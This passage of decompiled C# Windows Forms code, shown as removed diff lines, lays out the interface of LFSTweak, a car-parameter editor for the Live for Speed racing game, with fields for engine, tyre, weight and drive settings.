41; - this.Label26.Text = "Mass height position"; - TextBox engineposValue1 = this.enginepos_value; - point1 = new Point(145, 420); - Point point33 = point1; - engineposValue1.Location = point33; - this.enginepos_value.Name = "enginepos_value"; - TextBox engineposValue2 = this.enginepos_value; - size1 = new Size(95, 20); - Size size33 = size1; - engineposValue2.Size = size33; - this.enginepos_value.TabIndex = 30; - this.Label25.AutoSize = true; - Label label25_1 = this.Label25; - point1 = new Point(26, 423); - Point point34 = point1; - label25_1.Location = point34; - this.Label25.Name = "Label25"; - Label label25_2 = this.Label25; - size1 = new Size(79, 13); - Size size34 = size1; - label25_2.Size = size34; - this.Label25.TabIndex = 40; - this.Label25.Text = "Engine position"; - TextBox tyreFwidth1 = this.tyre_fwidth; - point1 = new Point(111, 368); - Point point35 = point1; - tyreFwidth1.Location = point35; - this.tyre_fwidth.Name = "tyre_fwidth"; - TextBox tyreFwidth2 = this.tyre_fwidth; - size1 = new Size(28, 20); - Size size35 = size1; - tyreFwidth2.Size = size35; - this.tyre_fwidth.TabIndex = 39; - TextBox tyreRwidthrim1 = this.tyre_rwidthrim; - point1 = new Point(145, 394); - Point point36 = point1; - tyreRwidthrim1.Location = point36; - this.tyre_rwidthrim.Name = "tyre_rwidthrim"; - TextBox tyreRwidthrim2 = this.tyre_rwidthrim; - size1 = new Size(28, 20); - Size size36 = size1; - tyreRwidthrim2.Size = size36; - this.tyre_rwidthrim.TabIndex = 38; - TextBox tyreRsize1 = this.tyre_rsize; - point1 = new Point(212, 394); - Point point37 = point1; - tyreRsize1.Location = point37; - this.tyre_rsize.Name = "tyre_rsize"; - TextBox tyreRsize2 = this.tyre_rsize; - size1 = new Size(28, 20); - Size size37 = size1; - tyreRsize2.Size = size37; - this.tyre_rsize.TabIndex = 37; - TextBox tyreRheight1 = this.tyre_rheight; - point1 = new Point(179, 394); - Point point38 = point1; - tyreRheight1.Location = point38; - this.tyre_rheight.Name = "tyre_rheight"; - TextBox tyreRheight2 = this.tyre_rheight; - size1 = new Size(28, 20); - Size size38 = size1; - tyreRheight2.Size = size38; - this.tyre_rheight.TabIndex = 36; - TextBox tyreRwidth1 = this.tyre_rwidth; - point1 = new Point(111, 394); - Point point39 = point1; - tyreRwidth1.Location = point39; - this.tyre_rwidth.Name = "tyre_rwidth"; - TextBox tyreRwidth2 = this.tyre_rwidth; - size1 = new Size(28, 20); - Size size39 = size1; - tyreRwidth2.Size = size39; - this.tyre_rwidth.TabIndex = 35; - this.Label24.AutoSize = true; - Label label24_1 = this.Label24; - point1 = new Point(26, 397); - Point point40 = point1; - label24_1.Location = point40; - this.Label24.Name = "Label24"; - Label label24_2 = this.Label24; - size1 = new Size(52, 13); - Size size40 = size1; - label24_2.Size = size40; - this.Label24.TabIndex = 34; - this.Label24.Text = "Rear tires"; - TextBox tyreFsize1 = this.tyre_fsize; - point1 = new Point(212, 368); - Point point41 = point1; - tyreFsize1.Location = point41; - this.tyre_fsize.Name = "tyre_fsize"; - TextBox tyreFsize2 = this.tyre_fsize; - size1 = new Size(28, 20); - Size size41 = size1; - tyreFsize2.Size = size41; - this.tyre_fsize.TabIndex = 33; - TextBox tyreFheight1 = this.tyre_fheight; - point1 = new Point(179, 368); - Point point42 = point1; - tyreFheight1.Location = point42; - this.tyre_fheight.Name = "tyre_fheight"; - TextBox tyreFheight2 = this.tyre_fheight; - size1 = new Size(28, 20); - Size size42 = size1; - tyreFheight2.Size = size42; - this.tyre_fheight.TabIndex = 32; - TextBox tyreFwidthrim1 = this.tyre_fwidthrim; - point1 = new Point(145, 368); - Point point43 = point1; - tyreFwidthrim1.Location = point43; - this.tyre_fwidthrim.Name = "tyre_fwidthrim"; - TextBox tyreFwidthrim2 = this.tyre_fwidthrim; - size1 = new Size(28, 20); - Size size43 = size1; - tyreFwidthrim2.Size = size43; - this.tyre_fwidthrim.TabIndex = 31; - this.Label23.AutoSize = true; - Label label23_1 = this.Label23; - point1 = new Point(26, 371); - Point point44 = point1; - label23_1.Location = point44; - this.Label23.Name = "Label23"; - Label label23_2 = this.Label23; - size1 = new Size(53, 13); - Size size44 = size1; - label23_2.Size = size44; - this.Label23.TabIndex = 30; - this.Label23.Text = "Front tires"; - TextBox cartypeValue1 = this.cartype_value; - point1 = new Point(145, 342); - Point point45 = point1; - cartypeValue1.Location = point45; - this.cartype_value.Name = "cartype_value"; - TextBox cartypeValue2 = this.cartype_value; - size1 = new Size(95, 20); - Size size45 = size1; - cartypeValue2.Size = size45; - this.cartype_value.TabIndex = 29; - this.Label21.AutoSize = true; - Label label21_1 = this.Label21; - point1 = new Point(26, 345); - Point point46 = point1; - label21_1.Location = point46; - this.Label21.Name = "Label21"; - Label label21_2 = this.Label21; - size1 = new Size(43, 13); - Size size46 = size1; - label21_2.Size = size46; - this.Label21.TabIndex = 29; - this.Label21.Text = "Cartype"; - this.GroupBox2.Controls.Add((Control) this.Label22); - this.GroupBox2.Controls.Add((Control) this.mec_drive); - this.GroupBox2.Controls.Add((Control) this.Label20); - this.GroupBox2.Controls.Add((Control) this.mec_weight); - this.GroupBox2.Controls.Add((Control) this.Label19); - this.GroupBox2.Controls.Add((Control) this.mec_idle); - this.GroupBox2.Controls.Add((Control) this.Label18); - this.GroupBox2.Controls.Add((Control) this.mec_power); - this.GroupBox2.Controls.Add((Control) this.Label17); - this.GroupBox2.Controls.Add((Control) this.mec_gearsmax); - this.GroupBox2.Controls.Add((Control) this.mec_gearsmin); - this.GroupBox2.Controls.Add((Control) this.Label16); - this.GroupBox2.Controls.Add((Control) this.mec_torque); - this.GroupBox2.Controls.Add((Control) this.Label15); - this.GroupBox2.Controls.Add((Control) this.mec_cylmax); - this.GroupBox2.Controls.Add((Control) this.mec_cylmin); - this.GroupBox2.Controls.Add((Control) this.Label14); - this.GroupBox2.Controls.Add((Control) this.mec_ccmax); - this.GroupBox2.Controls.Add((Control) this.mec_ccmin); - this.GroupBox2.Controls.Add((Control) this.Label13); - GroupBox groupBox2_1 = this.GroupBox2; - point1 = new Point(278, 42); - Point point47 = point1; - groupBox2_1.Location = point47; - this.GroupBox2.Name = "GroupBox2"; - GroupBox groupBox2_2 = this.GroupBox2; - size1 = new Size(322, 270); - Size size47 = size1; - groupBox2_2.Size = size47; - this.GroupBox2.TabIndex = 28; - this.GroupBox2.TabStop = false; - this.GroupBox2.Text = "Mecanik"; - this.Label22.AutoSize = true; - this.Label22.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label22_1 = this.Label22; - point1 = new Point(6, 22); - Point point48 = point1; - label22_1.Location = point48; - this.Label22.Name = "Label22"; - Label label22_2 = this.Label22; - size1 = new Size(298, 13); - Size size48 = size1; - label22_2.Size = size48; - this.Label22.TabIndex = 47; - this.Label22.Text = "UF1/XRG/XFG/RB4/XRT/FXO/LX4/LX6/FZ5/RAC"; - this.mec_drive.FormattingEnabled = true; - this.mec_drive.Items.AddRange(new object[4] - { - (object) "FWD", - (object) "RWD", - (object) "AWD", - (object) "Default" - }); - ComboBox mecDrive1 = this.mec_drive; - point1 = new Point(120, 237); - Point point49 = point1; - mecDrive1.Location = point49; - this.mec_drive.Name = "mec_drive"; - ComboBox mecDrive2 = this.mec_drive; - size1 = new Size(121, 21); - Size size49 = size1; - mecDrive2.Size = size49; - this.mec_drive.TabIndex = 46; - this.Label20.AutoSize = true; - Label label20_1 = this.Label20; - point1 = new Point(6, 240); - Point point50 = point1; - label20_1.Location = point50; - this.Label20.Name = "Label20"; - Label label20_2 = this.Label20; - size1 = new Size(32, 13); - Size size50 = size1; - label20_2.Size = size50; - this.Label20.TabIndex = 45; - this.Label20.Text = "Drive"; - TextBox mecWeight1 = this.mec_weight; - point1 = new Point(120, 211); - Point point51 = point1; - mecWeight1.Location = point51; - this.mec_weight.Name = "mec_weight"; - TextBox mecWeight2 = this.mec_weight; - size1 = new Size(95, 20); - Size size51 = size1; - mecWeight2.Size = size51; - this.mec_weight.TabIndex = 44; - this.Label19.AutoSize = true; - Label label19_1 = this.Label19; - point1 = new Point(6, 214); - Point point52 = point1; - label19_1.Location = point52; - this.Label19.Name = "Label19"; - Label label19_2 = this.Label19; - size1 = new Size(41, 13); - Size size52 = size1; - label19_2.Size = size52; - this.Label19.TabIndex = 43; - this.Label19.Text = "Weight"; - TextBox mecIdle1 = this.mec_idle; - point1 = new Point(120, 185); - Point point53 = point1; - mecIdle1.Location = point53; - this.mec_idle.Name = "mec_idle"; - TextBox mecIdle2 = this.mec_idle; - size1 = new Size(95, 20); - Size size53 = size1; - mecIdle2.Size = size53; - this.mec_idle.TabIndex = 42; - this.Label18.AutoSize = true; - Label label18_1 = this.Label18; - point1 = new Point(6, 188); - Point point54 = point1; - label18_1.Location = point54; - this.Label18.Name = "Label18"; - Label label18_2 = this.Label18; - size1 = new Size(24, 13); - Size size54 = size1; - label18_2.Size = size54; - this.Label18.TabIndex = 41; - this.Label18.Text = "Idle"; - TextBox mecPower1 = this.mec_power; - point1 = new Point(120, 131); - Point point55 = point1; - mecPower1.Location = point55; - this.mec_power.Name = "mec_power"; - TextBox mecPower2 = this.mec_power; - size1 = new Size(95, 20); - Size size55 = size1; - mecPower2.Size = size55; - this.mec_power.TabIndex = 40; - this.Label17.AutoSize = true; - Label label17_1 = this.Label17; - point1 = new Point(6, 135); - Point point56 = point1; - label17_1.Location = point56; - this.Label17.Name = "Label17"; - Label label17_2 = this.Label17; - size1 = new Size(73, 13); - Size size56 = size1; - label17_2.Size = size56; - this.Label17.TabIndex = 39; - this.Label17.Text = "Engine Power"; - TextBox mecGearsmax1 = this.mec_gearsmax; - point1 = new Point(221, 159); - Point point57 = point1; - mecGearsmax1.Location = point57; - this.mec_gearsmax.Name = "mec_gearsmax"; - TextBox mecGearsmax2 = this.mec_gearsmax; - size1 = new Size(95, 20); - Size size57 = size1; - mecGearsmax2.Size = size57; - this.mec_gearsmax.TabIndex = 38; - TextBox mecGearsmin1 = this.mec_gearsmin; - point1 = new Point(120, 159); - Point point58 = point1; - mecGearsmin1.Location = point58; - this.mec_gearsmin.Name = "mec_gearsmin"; - TextBox mecGearsmin2 = this.mec_gearsmin; - size1 = new Size(95, 20); - Size size58 = size1; - mecGearsmin2.Size = size58; - this.mec_gearsmin.TabIndex = 37; - this.Label16.AutoSize = true; - Label label16_1 = this.Label16; - point1 = new Point(6, 162); - Point point59 = point1; - label16_1.Location = point59; - this.Label16.Name = "Label16"; - Label label16_2 = this.Label16; - size1 = new Size(35, 13); - Size size59 = size1; - label16_2.Size = size59; - this.Label16.TabIndex = 36; - this.Label16.Text = "Gears"; - TextBox mecTorque1 = this.mec_torque; - point1 = new Point(120, 105); - Point point60 = point1; - mecTorque1.Location = point60; - this.mec_torque.Name = "mec_torque"; - TextBox mecTorque2 = this.mec_torque; - size1 = new Size(95, 20); - Size size60 = size1; - mecTorque2.Size = size60; - this.mec_torque.TabIndex = 35; - this.Label15.AutoSize = true; - Label label15_1 = this.Label15; - point1 = new Point(6, 108); - Point point61 = point1; - label15_1.Location = point61; - this.Label15.Name = "Label15"; - Label label15_2 = this.Label15; - size1 = new Size(77, 13); - Size size61 = size1; - label15_2.Size = size61; - this.Label15.TabIndex = 34; - this.Label15.Text = "Engine Torque"; - TextBox mecCylmax1 = this.mec_cylmax; - point1 = new Point(221, 79); - Point point62 = point1; - mecCylmax1.Location = point62; - this.mec_cylmax.Name = "mec_cylmax"; - TextBox mecCylmax2 = this.mec_cylmax; - size1 = new Size(95, 20); - Size size62 = size1; - mecCylmax2.Size = size62; - this.mec_cylmax.TabIndex = 33; - TextBox mecCylmin1 = this.mec_cylmin; - point1 = new Point(120, 79); - Point point63 = point1; - mecCylmin1.Location = point63; - this.mec_cylmin.Name = "mec_cylmin"; - TextBox mecCylmin2 = this.mec_cylmin; - size1 = new Size(95, 20); - Size size63 = size1; - mecCylmin2.Size = size63; - this.mec_cylmin.TabIndex = 32; - this.Label14.AutoSize = true; - Label label14_1 = this.Label14; - point1 = new Point(6, 82); - Point point64 = point1; - label14_1.Location = point64; - this.Label14.Name = "Label14"; - Label label14_2 = this.Label14; - size1 = new Size(85, 13); - Size size64 = size1; - label14_2.Size = size64; - this.Label14.TabIndex = 31; - this.Label14.Text = "Engine Cylinders"; - TextBox mecCcmax1 = this.mec_ccmax; - point1 = new Point(221, 53); - Point point65 = point1; - mecCcmax1.Location = point65; - this.mec_ccmax.Name = "mec_ccmax"; - TextBox mecCcmax2 = this.mec_ccmax; - size1 = new Size(95, 20); - Size size65 = size1; - mecCcmax2.Size = size65; - this.mec_ccmax.TabIndex = 30; - TextBox mecCcmin1 = this.mec_ccmin; - point1 = new Point(120, 53); - Point point66 = point1; - mecCcmin1.Location = point66; - this.mec_ccmin.Name = "mec_ccmin"; - TextBox mecCcmin2 = this.mec_ccmin; - size1 = new Size(95, 20); - Size size66 = size1; - mecCcmin2.Size = size66; - this.mec_ccmin.TabIndex = 29; - this.Label13.AutoSize = true; - Label label13_1 = this.Label13; - point1 = new Point(6, 56); - Point point67 = point1; - label13_1.Location = point67; - this.Label13.Name = "Label13"; - Label label13_2 = this.Label13; - size1 = new Size(57, 13); - Size size67 = size1; - label13_2.Size = size67; - this.Label13.TabIndex = 29; - this.Label13.Text = "Engine CC"; - this.MenuStrip1.Items.AddRange(new ToolStripItem[1] - { - (ToolStripItem) this.ToolStripMenuItem1 - }); - MenuStrip menuStrip1_1 = this.MenuStrip1; - point1 = new Point(0, 0); - Point point68 = point1; - menuStrip1_1.Location = point68; - this.MenuStrip1.Name = "MenuStrip1"; - MenuStrip menuStrip1_2 = this.MenuStrip1; - size1 = new Size(620, 24); - Size size68 = size1; - menuStrip1_2.Size = size68; - this.MenuStrip1.TabIndex = 29; - this.MenuStrip1.Text = "MenuStrip1"; - this.ToolStripMenuItem1.DropDownItems.AddRange(new ToolStripItem[2] - { - (ToolStripItem) this.FileToolStripMenuItem, - (ToolStripItem) this.SaveToolStripMenuItem - }); - this.ToolStripMenuItem1.Name = "ToolStripMenuItem1"; - ToolStripMenuItem toolStripMenuItem1 = this.ToolStripMenuItem1; - size1 = new Size(37, 20); - Size size69 = size1; - toolStripMenuItem1.Size = size69; - this.ToolStripMenuItem1.Text = "File"; - this.FileToolStripMenuItem.Name = "FileToolStripMenuItem"; - ToolStripMenuItem toolStripMenuItem2 = this.FileToolStripMenuItem; - size1 = new Size(100, 22); - Size size70 = size1; - toolStripMenuItem2.Size = size70; - this.FileToolStripMenuItem.Text = "Load"; - this.SaveToolStripMenuItem.Name = "SaveToolStripMenuItem"; - ToolStripMenuItem toolStripMenuItem3 = this.SaveToolStripMenuItem; - size1 = new Size(100, 22); - Size size71 = size1; - toolStripMenuItem3.Size = size71; - this.SaveToolStripMenuItem.Text = "Save"; - this.OpenFileDialog1.FileName = "OpenFileDialog1"; - this.Label27.AutoSize = true; - Label label27_1 = this.Label27; - point1 = new Point(282, 332); - Point point69 = point1; - label27_1.Location = point69; - this.Label27.Name = "Label27"; - Label label27_2 = this.Label27; - size1 = new Size(122, 13); - Size size72 = size1; - label27_2.Size = size72; - this.Label27.TabIndex = 43; - this.Label27.Text = "Front wheel pos (T/A/Y)"; - TextBox tyrefronttrackValue1 = this.tyrefronttrack_value; - point1 = new Point(410, 328); - Point point70 = point1; - tyrefronttrackValue1.Location = point70; - this.tyrefronttrack_value.Name = "tyrefronttrack_value"; - TextBox tyrefronttrackValue2 = this.tyrefronttrack_value; - size1 = new Size(53, 20); - Size size73 = size1; - tyrefronttrackValue2.Size = size73; - this.tyrefronttrack_value.TabIndex = 43; - TextBox tyrefrontangleValue1 = this.tyrefrontangle_value; - point1 = new Point(469, 329); - Point point71 = point1; - tyrefrontangleValue1.Location = point71; - this.tyrefrontangle_value.Name = "tyrefrontangle_value"; - TextBox tyrefrontangleValue2 = this.tyrefrontangle_value; - size1 = new Size(50, 20); - Size size74 = size1; - tyrefrontangleValue2.Size = size74; - this.tyrefrontangle_value.TabIndex = 44; - TextBox tyrereartrackValue1 = this.tyrereartrack_value; - point1 = new Point(410, 354); - Point point72 = point1; - tyrereartrackValue1.Location = point72; - this.tyrereartrack_value.Name = "tyrereartrack_value"; - TextBox tyrereartrackValue2 = this.tyrereartrack_value; - size1 = new Size(53, 20); - Size size75 = size1; - tyrereartrackValue2.Size = size75; - this.tyrereartrack_value.TabIndex = 45; - TextBox tyrerearangleValue1 = this.tyrerearangle_value; - point1 = new Point(469, 354); - Point point73 = point1; - tyrerearangleValue1.Location = point73; - this.tyrerearangle_value.Name = "tyrerearangle_value"; - TextBox tyrerearangleValue2 = this.tyrerearangle_value; - size1 = new Size(50, 20); - Size size76 = size1; - tyrerearangleValue2.Size = size76; - this.tyrerearangle_value.TabIndex = 46; - this.Label28.AutoSize = true; - Label label28_1 = this.Label28; - point1 = new Point(282, 357); - Point point74 = point1; - label28_1.Location = point74; - this.Label28.Name = "Label28"; - Label label28_2 = this.Label28; - size1 = new Size(121, 13); - Size size77 = size1; - label28_2.Size = size77; - this.Label28.TabIndex = 47; - this.Label28.Text = "Rear wheel pos (T/A/Y)"; - TextBox tyrefrontyposValue1 = this.tyrefrontypos_value; - point1 = new Point(525, 328); - Point point75 = point1; - tyrefrontyposValue1.Location = point75; - this.tyrefrontypos_value.Name = "tyrefrontypos_value"; - TextBox tyrefrontyposValue2 = this.tyrefrontypos_value; - size1 = new Size(50, 20); - Size size78 = size1; - tyrefrontyposValue2.Size = size78; - this.tyrefrontypos_value.TabIndex = 48; - TextBox tyrerearyposValue1 = this.tyrerearypos_value; - point1 = new Point(525, 354); - Point point76 = point1; - tyrerearyposValue1.Location = point76; - this.tyrerearypos_value.Name = "tyrerearypos_value"; - TextBox tyrerearyposValue2 = this.tyrerearypos_value; - size1 = new Size(50, 20); - Size size79 = size1; - tyrerearyposValue2.Size = size79; - this.tyrerearypos_value.TabIndex = 49; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(620, 554); - this.ClientSize = size1; - this.Controls.Add((Control) this.tyrerearypos_value); - this.Controls.Add((Control) this.tyrefrontypos_value); - this.Controls.Add((Control) this.Label28); - this.Controls.Add((Control) this.tyrerearangle_value); - this.Controls.Add((Control) this.tyrereartrack_value); - this.Controls.Add((Control) this.tyrefrontangle_value); - this.Controls.Add((Control) this.tyrefronttrack_value); - this.Controls.Add((Control) this.Label27); - this.Controls.Add((Control) this.GroupBox2); - this.Controls.Add((Control) this.Label12); - this.Controls.Add((Control) this.enginepower_value); - this.Controls.Add((Control) this.fueltank_value); - this.Controls.Add((Control) this.Label11); - this.Controls.Add((Control) this.Label10); - this.Controls.Add((Control) this.Label9); - this.Controls.Add((Control) this.engineredline_value); - this.Controls.Add((Control) this.Button1); - this.Controls.Add((Control) this.transmissiontype_value); - this.Controls.Add((Control) this.Label8); - this.Controls.Add((Control) this.applyButton); - this.Controls.Add((Control) this.torque); - this.Controls.Add((Control) this.enginetorque_value); - this.Controls.Add((Control) this.Label7); - this.Controls.Add((Control) this.engineturbolag_value); - this.Controls.Add((Control) this.engineturbopressure_value); - this.Controls.Add((Control) this.Label6); - this.Controls.Add((Control) this.engineturbo_value); - this.Controls.Add((Control) this.Label5); - this.Controls.Add((Control) this.enginetype_value); - this.Controls.Add((Control) this.Label4); - this.Controls.Add((Control) this.enginecylinders_value); - this.Controls.Add((Control) this.Label3); - this.Controls.Add((Control) this.Label2); - this.Controls.Add((Control) this.currentCar); - this.Controls.Add((Control) this.Label1); - this.Controls.Add((Control) this.enginecc_value); - this.Controls.Add((Control) this.GroupBox1); - this.Controls.Add((Control) this.MenuStrip1); - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MainMenuStrip = this.MenuStrip1; - this.Name = nameof (Form1); - this.Text = "LFSTweak V0.6.2 from LFSTweak.net"; - this.GroupBox1.ResumeLayout(false); - this.GroupBox1.PerformLayout(); - this.GroupBox2.ResumeLayout(false); - this.GroupBox2.PerformLayout(); - this.MenuStrip1.ResumeLayout(false); - this.MenuStrip1.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox enginecc_value - { - [DebuggerNonUserCode] get => this._enginecc_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._enginecc_value = value; - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual Label currentCar - { - [DebuggerNonUserCode] get => this._currentCar; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._currentCar = value; - } - - internal virtual Label Label2 - { - [DebuggerNonUserCode] get => this._Label2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; - } - - internal virtual Label Label3 - { - [DebuggerNonUserCode] get => this._Label3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value; - } - - internal virtual TextBox enginecylinders_value - { - [DebuggerNonUserCode] get => this._enginecylinders_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._enginecylinders_value = value; - } - - internal virtual Label Label4 - { - [DebuggerNonUserCode] get => this._Label4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value; - } - - internal virtual ComboBox enginetype_value - { - [DebuggerNonUserCode] get => this._enginetype_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._enginetype_value = value; - } - - internal virtual Label Label5 - { - [DebuggerNonUserCode] get => this._Label5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value; - } - - internal virtual ComboBox engineturbo_value - { - [DebuggerNonUserCode] get => this._engineturbo_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._engineturbo_value = value; - } - - internal virtual Label Label6 - { - [DebuggerNonUserCode] get => this._Label6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value; - } - - internal virtual TextBox engineturbopressure_value - { - [DebuggerNonUserCode] get => this._engineturbopressure_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._engineturbopressure_value = value; - } - - internal virtual TextBox engineturbolag_value - { - [DebuggerNonUserCode] get => this._engineturbolag_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._engineturbolag_value = value; - } - - internal virtual Label Label7 - { - [DebuggerNonUserCode] get => this._Label7; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value; - } - - internal virtual TextBox enginetorque_value - { - [DebuggerNonUserCode] get => this._enginetorque_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._enginetorque_value = value; - } - - internal virtual Label torque - { - [DebuggerNonUserCode] get => this._torque; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._torque = value; - } - - internal virtual Button applyButton - { - [DebuggerNonUserCode] get => this._applyButton; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.applyButton_Click); - if (this._applyButton != null) - this._applyButton.Click -= eventHandler; - this._applyButton = value; - if (this._applyButton == null) - return; - this._applyButton.Click += eventHandler; - } - } - - internal virtual Label Label8 - { - [DebuggerNonUserCode] get => this._Label8; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value; - } - - internal virtual ComboBox transmissiontype_value - { - [DebuggerNonUserCode] get => this._transmissiontype_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._transmissiontype_value = value; - } - - internal virtual Button Button1 - { - [DebuggerNonUserCode] get => this._Button1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button1_Click); - if (this._Button1 != null) - this._Button1.Click -= eventHandler; - this._Button1 = value; - if (this._Button1 == null) - return; - this._Button1.Click += eventHandler; - } - } - - internal virtual TextBox engineredline_value - { - [DebuggerNonUserCode] get => this._engineredline_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._engineredline_value = value; - } - - internal virtual Label Label9 - { - [DebuggerNonUserCode] get => this._Label9; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label9 = value; - } - - internal virtual Label Label10 - { - [DebuggerNonUserCode] get => this._Label10; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label10 = value; - } - - internal virtual Label Label11 - { - [DebuggerNonUserCode] get => this._Label11; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label11 = value; - } - - internal virtual TextBox fueltank_value - { - [DebuggerNonUserCode] get => this._fueltank_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._fueltank_value = value; - } - - internal virtual TextBox enginepower_value - { - [DebuggerNonUserCode] get => this._enginepower_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._enginepower_value = value; - } - - internal virtual Label Label12 - { - [DebuggerNonUserCode] get => this._Label12; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label12 = value; - } - - internal virtual GroupBox GroupBox1 - { - [DebuggerNonUserCode] get => this._GroupBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value; - } - - internal virtual GroupBox GroupBox2 - { - [DebuggerNonUserCode] get => this._GroupBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value; - } - - internal virtual TextBox mec_ccmax - { - [DebuggerNonUserCode] get => this._mec_ccmax; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_ccmax = value; - } - - internal virtual TextBox mec_ccmin - { - [DebuggerNonUserCode] get => this._mec_ccmin; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_ccmin = value; - } - - internal virtual Label Label13 - { - [DebuggerNonUserCode] get => this._Label13; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label13 = value; - } - - internal virtual TextBox mec_cylmax - { - [DebuggerNonUserCode] get => this._mec_cylmax; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_cylmax = value; - } - - internal virtual TextBox mec_cylmin - { - [DebuggerNonUserCode] get => this._mec_cylmin; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_cylmin = value; - } - - internal virtual Label Label14 - { - [DebuggerNonUserCode] get => this._Label14; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label14 = value; - } - - internal virtual Label Label17 - { - [DebuggerNonUserCode] get => this._Label17; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label17 = value; - } - - internal virtual TextBox mec_gearsmax - { - [DebuggerNonUserCode] get => this._mec_gearsmax; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_gearsmax = value; - } - - internal virtual TextBox mec_gearsmin - { - [DebuggerNonUserCode] get => this._mec_gearsmin; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_gearsmin = value; - } - - internal virtual Label Label16 - { - [DebuggerNonUserCode] get => this._Label16; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label16 = value; - } - - internal virtual TextBox mec_torque - { - [DebuggerNonUserCode] get => this._mec_torque; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_torque = value; - } - - internal virtual Label Label15 - { - [DebuggerNonUserCode] get => this._Label15; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label15 = value; - } - - internal virtual ComboBox mec_drive - { - [DebuggerNonUserCode] get => this._mec_drive; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_drive = value; - } - - internal virtual Label Label20 - { - [DebuggerNonUserCode] get => this._Label20; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label20 = value; - } - - internal virtual TextBox mec_weight - { - [DebuggerNonUserCode] get => this._mec_weight; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_weight = value; - } - - internal virtual Label Label19 - { - [DebuggerNonUserCode] get => this._Label19; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label19 = value; - } - - internal virtual TextBox mec_idle - { - [DebuggerNonUserCode] get => this._mec_idle; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_idle = value; - } - - internal virtual Label Label18 - { - [DebuggerNonUserCode] get => this._Label18; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label18 = value; - } - - internal virtual TextBox mec_power - { - [DebuggerNonUserCode] get => this._mec_power; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mec_power = value; - } - - internal virtual TextBox cartype_value - { - [DebuggerNonUserCode] get => this._cartype_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._cartype_value = value; - } - - internal virtual Label Label21 - { - [DebuggerNonUserCode] get => this._Label21; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label21 = value; - } - - internal virtual Label Label22 - { - [DebuggerNonUserCode] get => this._Label22; - [DebuggerNonUserCode, 